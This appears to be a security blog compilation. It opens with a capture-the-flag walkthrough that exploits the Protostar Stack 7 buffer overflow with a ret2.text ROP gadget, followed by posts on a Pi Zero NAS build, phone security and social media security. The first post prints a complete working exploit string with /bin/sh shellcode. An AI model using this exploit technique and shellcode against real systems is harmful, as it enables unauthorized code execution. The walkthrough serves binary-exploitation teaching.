Return to .Text

Prerequisites

In this article, we are going to quickly discuss a ROP technique called ‘return to .text’ (ret2.text). Before you proceed to learn about this slightly more advanced topic, I recommend becoming extremely familiar with the following prerequisites before moving on:

  • Exploiting Basic Buffer Overflows
  • Return Oriented Programming (ROP)
  • Return to LIBC
  • Python
  • Basic C Programming
  • Assembly
  • GNU Debugger (GDB)

Spotting the Vulnerability

The ret2.text technque is almost identical to the return to libc (ret2libc) technique, but can be utilized in scenarios where libc can’t be called directly from the stack. To demonstrate this, we will be going through Exploit educations’s Protostar Stack 7 challenge. For more information on how to download/setup the Protostar VM, reference the Protostar documentation. Let’s start by viewing the source code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
 char buffer[64];
 unsigned int ret;

 printf("input path please: "); fflush(stdout);

 gets(buffer);

 ret = __builtin_return_address(0);

 if((ret & 0xb0000000) == 0xb0000000) {
 printf("bzzzt (%p)", ret);
 _exit(1);
 }

 printf("got path %s", buffer);
 return strdup(buffer);
}

int main(int argc, char **argv)
{

 getpath();

}

From viewing the code you can easily spot out where the vulnerability is:

 gets(buffer);

The gets command will read the user’s input into ‘buffer’ without verifying the input length, allowing the user to send an input longer than 64 characters and overwrite data on the stack. However, a basic buffer overflow or ret2libc exploit will not work in this scenario as a result of the address filtering executed by the program, with libc being located at 0xb7e97000 and the stack located around 0xbffffb8c on this particular system:

 if((ret & 0xb0000000) == 0xb0000000) {
 printf("bzzzt (%p)", ret);
 _exit(1);
 }

This is where we can utilize ret2.text to gain code execution. We might not be able to jump to libc or the stack directly, but we can jump to the .text section of the binary where we might find a ‘pop,pop,return’ gadget. We can then place the address of our shellcode on the stack so the ‘return’ portion in ‘pop,pop,return’ jumps to our shellcode. The overall exploit format will look like the following:

Initial_buffer + pop_pop_ret_address + pop_pop_junk + nopsled_addr + nopsled_with_shellcode

  • Initial_buffer- Buffer of random data used to overwrite the stack
  • pop_pop_ret_address- The address of our ‘pop,pop,ret’ gadget in the .text section. This will overwrite the EIP
  • pop_pop_junk- 8 bytes of junk that will be popped off the stack before returning
  • nopsled_addr- The address of our nop sled on the stack
  • nopsled_with_shellcode- The actual nop sled and shellcode to be executed

What we need to find:

  • The address of a ‘Pop, Pop, Return’ gadget in the .text section
  • The position in the initial buffer where the EIP is overwritten
  • Nopsled Address on the stack (or libc if DEP is enabled)

Replicating the crash and finding EIP offset

To replicate the crash I ran the following command in bash:

x=20; while true; do head -c $x /dev/zero | tr '\0' 'A' | ./stack6; if (($? == 139)); then break; fi; sleep 2; x=$((x+20)); echo $x; done
replicate

From here we can see that the crash happened somewhere between 80 and 100 bytes. Just to be safe we will generate a unique string 100 bytes long with msf-pattern_create:

patternCreate

By running the program again with the unique string we can verify the location of the EIP with msf-pattern_offset:

findEIP
patternOffset

Finding a ‘POP, POP, Return’ Gadget

Once you transfer the stack7 binary over to your machine you can utilize msfelfscan (for example) to find a couple of ‘pop, pop, return’ gadgets for us. If you don’t have msfelfscan you can use Ropper to search for the gadgets. In addition, you can always verify which gadgets are actually in the .text section of the binary with Ghidra, objdump, IDA, etc, but fortunately for us, all of the gadgets msfelfscan provides are in the .text section. In this walkthrough, we will use the second address (0x08048492) msfelfscan provides us:

msfelfscan

Finding our Shellcode and a Note About Data Execution Prevention (DEP)

The final step in this exploit is to find where our shellcode and NOP sled will reside on the stack. Fortunately for us, this binary doesn’t have DEP enabled. If DEP was enabled, however, we could simply jump to libc here instead of our shellcode directly and achieve the same results. To keep it simple let’s use GDB to find where our shellcode lands on the stack:

findShellcode

From the image, you can see the giant buffer of “\x41” bytes (“A” in ASCII), which is where we want to jump to. To play it safe, we will jump to the middle of this buffer at 0xbffffcdc.

Putting it all together

Going back to our initial overview of the exploit, let’s plug in the necessary information

  • Initial_buffer- 80 “A” characters
  • pop_pop_ret_address- 0x08048492
  • pop_pop_junk- “BBBBCCCC” (This is just junk top be popped off)
  • nopsled_addr- 0xbffffcdc
  • nopsled_with_shellcode- any x86 /bin/sh shellcode will work here. You can find lots of shellcode on Shell Storm

Conceptually, the overall exploit should resemble the following:

"A"*80 + 0x08048492 + "BBBBCCCC" + 0xbffffcdc + "NOP"*80 + Shellcode

Using this information we can send our exploit string to a file using the following command in python. Remember that the addresses are in little endian format. You can learn more about endianess here:

python -c'print "A"*80+"\x92\x84\x04\x08"+"BBBBCCCC"+"\xdc\xfc\xff\xbf"+"\x90"*80+"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' > /tmp/test

Testing the Exploit in GDB

From here we can fire off our exploit in GDB to see if everything worked correctly:

testingExploit

It worked!! To run the exploit in GDB you can issue the following commands:

gdb /opt/protostar/bin/stack7

(gdb) r < /tmp/test

Conclusion

If you have experience using the ret2libc technique, ret2.text should be pretty easy to pull off. At the end of the day, it’s another technique in the toolbag you can use in your Capture the Flag and binary exploitation adventures.

The heart of the discerning acquires knowledge, for the ears of the wise seek it out. -Proverbs 18:15

SUBZero: A DIY Pi Zero USB Network-Attached Storage Device

TLDR

Quite often I find myself on the go, in need of storing/sharing files on a local network with others without an accessible internet connection. Even with an internet connection, I find myself wanting to keep most of my file sharing local, to prevent storing sensitive data in the cloud (Infamous Cloud Security Breaches). To fix this problem I created the SUBZero (Secure USB Backup Zero), a DIY Wireless USB NAS (Network Attached Storage) that enables you to securely upload files on the go using a $10 Raspberry Pi Zero W! NAS is a low cost, convenient way to backup files, photos, and data for future use. The SUBZero was not intended to replace traditional USBs but offers features that you wouldn’t typically find on a COTS USB.

Features

  • Wireless NAS
  • Access Point with configurable WPA2 authentication
  • Full TCP/IP on the local SUBZero network
  • Can act as a wireless router, but can also be used completely offline
  • IP Masquerading
  • Removable/replaceable SD card. This allows you to buy either a large or small SD card depending on your own needs.
  • Easy to use HTTPS File Server
  • Built with a $10.00 Raspberry Pi Zero W running Raspbian Stretch Lite. This fares better than a traditional USB in some cases because the SUBZero is also a fully functional computer.
  • Can be run/powered by your phone using a USB to USB-C/Lightning/Micro-USB/etc adapter

How it Works

Just plug in the SUBZero to a USB port and it will broadcast a WiFi network named SUBZero (the default password is raspberry for WiFi, and pi:raspberry for the OS. PLEASE change this once it’s up and running). Once connected to the network, you can browse to https://192.168.1.1 and start uploading/sharing files. This functions as a standalone network, meaning no Internet connection required!.
![SUBZero](/assets/img/posts/HTTPSserver_sm.png) 

What You Need

  • Raspberry Pi Zero W
  • Micro SD card
  • Pi Zero USB Stem (Optional)
  • Soldering Station (Optional)
  • 3D Printer (Optional)

Installation

Flashing the Raspberry Pi Zero W with the SUBZero Image

The easiest way to get up and running with the SUBZero is by grabbing SUBZero image and flashing it onto an SD card. I recommend using Ethcher for flashing the SD card. Etcher is easy to use and works on Windows, OSX, and Linux.

Installing from source

To install the SUBZero on your Raspberry Pi Zero W, clone the SUBZero repository from my GitHub and run the install script.

$ git clone https://github.com/Halcy0nic/SUBZero.git
$ cd ./SUBZero
$ sudo chmod +x install.sh && sudo ./install.sh

During the installation, you will be prompted to enter data for the self-signed certificate. You can simply enter a ‘.’ or dummy data for all of the fields when generating the cert. Once you have installed the SUBZero, reboot the machine and you should see a WiFi Access Point named ‘SUBZero’ that you can connect to. Once connected to the SUBZero wireless network you can browse to https://192.168.1.1 and start uploading files.


NOTE: Your browser might complain about the cert being invalid (because it’s self-signed). Proceed to the webpage anyway and add an exception if necessary.

PI Zero USB Stem

According to Zerostem, the Pi ‘Zero Stem is a PCB shim that turns a Raspberry Pi Zero into a USB dongle. Once the shim is installed, your Raspberry Pi can be plugged directly into a computer or USB hub without any additional cables or power supplies.’ This is much more convenient than using a USB adapter, which would normally be required for a Pi Zero. Installing the Zero Stem will require some soldering experience, however. Once you have a Pi and Zero Stem you can turn it into a USB by soldering the STEM onto the Pi Zero using their instructions.

3D printed case

Lots of thanks go to Nick Engmann for this one. He developed the 3D printed SUBZero Case. Nick actively contributes to the SUBZero project and has some amazing projects of his own on his website, so go check him out!
![SUBZero](/assets/img/posts/subzeroclose_placehold.jpg) 

Routing

By default, the SUBZero is not configured to route any traffic or provide internet access. Configuring the device to route traffic on the network is pretty simple though. I found a tutorial by Phil Martin showing how to do this. First, log in to the SUBZero using the credentials ‘pi:raspberry’ (you should change this) and open /etc/sysctl.conf as sudo with vim/vi/nano. Uncomment the line containing ‘net.ipv4.ip_forward=1’ by removing the # from the beginning of the line, save the changes, and return to the terminal. Assuming you are using wlan0 for your WiFi interface and eth0 for your internet connection, execute the following commands on the terminal:

$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE  
$ sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT  
$ sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
$ sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"

Lastly open the file /etc/rc.local as sudo and add the following line at the bottom, right above exit 0:

iptables-restore < /etc/iptables.ipv4.nat 

Expanding the Filesystem

By default, the Raspbian root file system is around 2GB. However, if you have an SD card with more capacity it’s a great idea to go ahead and expand your installation to the entire SD card. This way you can have the maximum amount of file storage on your SUBZero device.

To expand to the filesystem boot up the SUBZero device and open up a terminal and execute the following command:

$ sudo raspi-config
raspi_config

You will be presented with a GUI menu, go ahead and go down to “Advanced Options” and hit enter.

raspi_config

Then at the second menu hit enter on “Expand Filesystem”. You will them be prompted to restart your machine after the operation is over.

Conclusion

You can get all the latest updates and SUBZero news on my GitHub. This project is completely open source and free to use in any way you can imagine. You can get more information on HacksterHackaday, and Thingaverse. I love feedback and welcome contributions, so if you have cool SUBZero ideas, let me know!.

Cybersecurity 101: Can you hear me now?

 Imagine a world where everything you ever needed was in a single place. A place where all your friends hang out 24/7, where food, work, shopping, medical care, literature, movies, entertainment, banking, dental care, music, and a repository of endless information all existed in harmony. On top of all that, you only have to make it to your pocket to get there! It all seems too good to be true, and in many cases it is.

Generally speaking, the common thief is pretty lazy. They won’t jump through crazy flaming hoops to get what they want. This certainly holds true for thieves who won’t even leave the comfort of their own home to steal. To the lazy thief, this Utopian place really is a dream come true. Now with a couple keystrokes, all of the collective information about anyone’s life is in a predictable and reachable location. If you haven’t figured it out yet, I’m talking about a cell phone.

Put on your evil hat for a second and bear with me. If I want to get access to my bank account really fast, where would I go? I highly doubt I would drive all the way to the bank just to get a statement. Instead, I would take a look on my phone. If I want to talk to my parents or my best friend, what would I do? Most people wouldn’t drive to their friend’s house just to start up a conversation. Instead, they would call or text them from their phone. It’s kind of scary thinking about how this applies to practically every area of our modern lives. Armed with this information, the path of least resistance to a goldmine of endless life data exists right in your pocket. I don’t think I need to go into any more detail about why it’s important to secure your cell phone, so here are some simple tips explaining how.

Updates

Sometimes it can be annoying to see the little pop-up asking if you would like to update and restart your device. Keeping your device up to date, however, is the simplest way to avoid getting malware and the easiest path to protecting your information. Other benefits of keeping your phone up to date include getting new features, bug fixes, and improved performance. Whether you have an Android device, iPhone, or something different altogether, updates are an essential part of good cyber hygiene.

Fingerprint/Passcode

Adding a passcode to your phone significantly increases the overall security posture of your device. Leaving your device completely unlocked is never a good idea. In most cases using a fingerprint to unlock your device is more advantageous than a passcode as it prevents shoulder surfers who try to look at your code when you type it in. Many applications are also starting to offer fingerprint login to the app itself. For example, here are a couple of popular apps that offer this feature at no cost:

  • Mint
  • Bank of America
  • Google Authenticator
  • Chase
  • Most Password managers like LastPass and Keeper
  • Many hotel and travel apps (e.g. Hilton)

If there is an app that you use quite often, check and see if it supports fingerprint login. You will be surprised at how many apps are starting to accept this trend.

Encryption

There are some conversations you never want to have in a public place where people can listen in on what you’re saying. Conversations work the same way in the cyber realm. Encryption simply takes readable information and makes it unreadable to anyone who is trying to eavesdrop on your conversation. Encrypting your data is a great way to keep your private information truly private. Having nothing to hide is never a good reason to leave your data unprotected. When having nothing to hide is the justification for not using encryption, you inherently assume everyone who’s interested in your data has honorable intentions. Anyone adopting this notion also assumes nobody will take the time to dig into their data and find something of value, such as the golden keys to your identity (SSN). Unfortunately, in the real world, this is simply not the case.

Message Encryption

Encrypting your messages is becoming increasingly vital as we become more dependent on computers for our communication. Encryption prevents spying, eavesdropping, cybercriminals, blackmailing, stalking, and plenty of other issues. Signal private messenger, Whatsapp, and iMessage are a few popular messaging apps that offer great end to end encryption by default to protect all of your conversations.

Phone Encryption

Fortunately for the majority of phone users, both Android and iOS give you the option to encrypt your entire device. On either platform, it only takes the click of a button to protect your data from anyone snooping into your personal business. The process for doing so depends on the phone. Consult Google when looking up how to encrypt your specific device. Here is an example Google search to get you started.

Remote GPS and Remote Wipe

In the unfortunate event your phone is lost or stolen it would be nice to find out where it’s located and remove all the private data on it. That’s where remote GPS and remote wipe comes in. Even though you don’t have physical access to the device, remote GPS allows you to see where your phone is currently at. Remote wipe, on the other hand, allows you to destroy all of the sensitive data on your phone to prevent anyone getting access to it.

You can find out how to turn on the remote wipe feature on Android here or iPhone here. You can also see how to find the location of your device on Android here or iPhone here.

Conclusion

Every choice we make, however small or large, contributes to both our habit and circumstance. C.S. Lewis wrote, “[E]very time you make a choice you are turning the central part of you, the part of you that chooses, into something a little different than it was before”. These tips on improving your cell phone security might seem insignificant but will certainly contribute to your cyber hygiene in a positive way.

Securing Your Social Media

Hello World!

This is the first post on my website and I want to kick things off with something near and dear to everyone’s heart: social media. Social media has ushered in a new era of swift communication where everything and everyone is connected. This lends the question, how can I protect myself and my identity in an increasingly connected world? Can people really use my social media to steal my bank, medical, and other personal information? In short, yes. Cybersecurity has become more complex as new devices like phones, TVs, watches, and even toilets (I’m not kidding check this out) are now being connected to the internet. 

This post requires zero prior cybersecurity knowledge. I’m going to keep this simple and easy to understand, because why complicate things? Here are some simple ways to secure your social media and why they’re important.

Why do I need to care about securing my social media?

Social media is heavily connected to your identity in modern society and there is significant overlap between your public accounts (Facebook, Twitter, etc.) and personal accounts like your bank and email. Don’t take my word for it though, think about examples of how social media is connected to other sensitive accounts in your own life. Almost everybody has at least a few accounts linked with their social profiles. Many people use the same username, password, or email for both their bank account and their social pages! Even if you don’t use the same password but you use the same username, it’s twice as easy to get into your account because a hacker only has to guess your password instead of guessing your username AND password. To give you a better perspective, many computers nowadays can guess billions of passwords a second. Do you still feel safe with your six character password? Consider the common scenario:

A malicious hacker browses through social media pages with the intent of breaking into someone’s personal accounts and they come across your Facebook/Instagram/Twitter page. Your username is cooldude24 and they decide to send a fake email to cooldude24@gmail.com (or Yahoo, iCloud, etc.) because most people reuse their usernames for multiple accounts. The email looks like it’s from Google themselves asking you to enter your password to verify your login information so your account doesn’t get deactivated. You reply because you’re afraid of getting shut down and it looks legit. Now the hacker has the username and password to your email which means they can login. Just about every major bank (or ANY online account) has a password recovery option that sends an email to you so you can reset your password. Because they have access to your email they reset your bank password, login to your account, and lock you out of it. Do you see how one piece of information leads to another?

I’m a cybersecurity researcher, so speaking from experience in analyzing security breaches trust me when I say that this is a mild example. If someone gets access to your social security number you can be in far worse of a pickle than someone getting a few bucks from your bank account. Enough about why it’s important, let’s move on to simple things you can do.

Utilizing a Password Manager

Remembering tons of crazy long passwords and usernames for all the different sites we visit is unreasonable even for the greatest of memories. The great thing is we don’t have to anymore! A password manager is probably the top safety practice that you can employ to protect your accounts. A password manager will generate, store, and retrieve passwords for you so you don’t have to. The password manager will also encrypt your data so it will be nearly impossible for a hacker to retrieve any of your information. In the scenario above, a hacker would not be able to login to your email or bank account if you used complex usernames and passwords generated by the password manager.

There are lots of free choices out there that will automatically generate secure passwords for you and store them for when you want to login to a site. Many password managers have the ability to login to sites for you so you don’t have to lookup the password every time. As an added bonus they can keep track of your random usernames, pins, security questions, credit cards, and much more so you don’t have to remember those either (which is great for me because I forget literally everything). I know what many of you are thinking, what if someone guesses the password to your password manager?

That leads us to our next topic: two-step verification.

Two-Step Verification

I’m going to explain two-step verification with a simple real-life example. When you go to the DMV and finally get to the counter after 2 years, they ask you for two forms of identification. Why you say? One reason is verifying you are who you really say you are. If someone picks up your lost id (or steals it), they can’t make any decisions on your behalf by impersonating you. The second form of identification helps prevents fraud. The internet world uses the same concept. When you turn on two-step verification (also known as two-factor authentication) the website requires two forms of ID, namely your username/password combination and a code that is sent to your phone over text.

Going back to the first example in this post, if someone happens to get your username and password while two-step verification is active, they can’t login to your account because they don’t ALSO have the code that was sent to your phone. In layman’s terms, some hacker on the other side of the world can’t get into your account, because they don’t have physical access to your phone. All major accounts including password managers, email, banks, insurance, medical, and social media sites support two-step verification so you should turn it on! Click here to see how to set up two-step verification on all your social accounts. Most of the embarrassing celebrity account hacks could have been avoided with two-step verification, just saying…

Here are some other basic tips for securing your social media:

  • Change your passwords regularly, with a password manager this is trivial. Have the password manager generate a new password for you every 3 months or so. This will make your account significantly more secure and will only take 45 seconds of your life.
  • Sign out of accounts when you are finished using a shared computer. Many social media accounts are compromised because someone used your account while you were still logged in.
  • If you are not using the account anymore, shut it down. This rule applies to many areas of life. If you don’t need it, don’t keep it.
  • If you can, create a unique email just for your social media that’s not attached to any of your other accounts. Having a dedicated social media email prevents any overlap between your social accounts and your private accounts. As we saw earlier, using the same email for social media and your bank can have disastrous consequences.
  • Go private. Unless you are a business, blog, or make a living from a public social page, there is no reason for your personal page to be public to the internet. Twitter, Instagram, Facebook, etc. give you the option to make your page private from the general public until you have accepted a friend request of some sort.

Conclusion

Hopefully these few tips help in your internet endeavors. It might seem irritating to get a text message every time you log in to your email or bank, but I can guarantee you it’s a lot less irritating than dealing with identity theft or fraud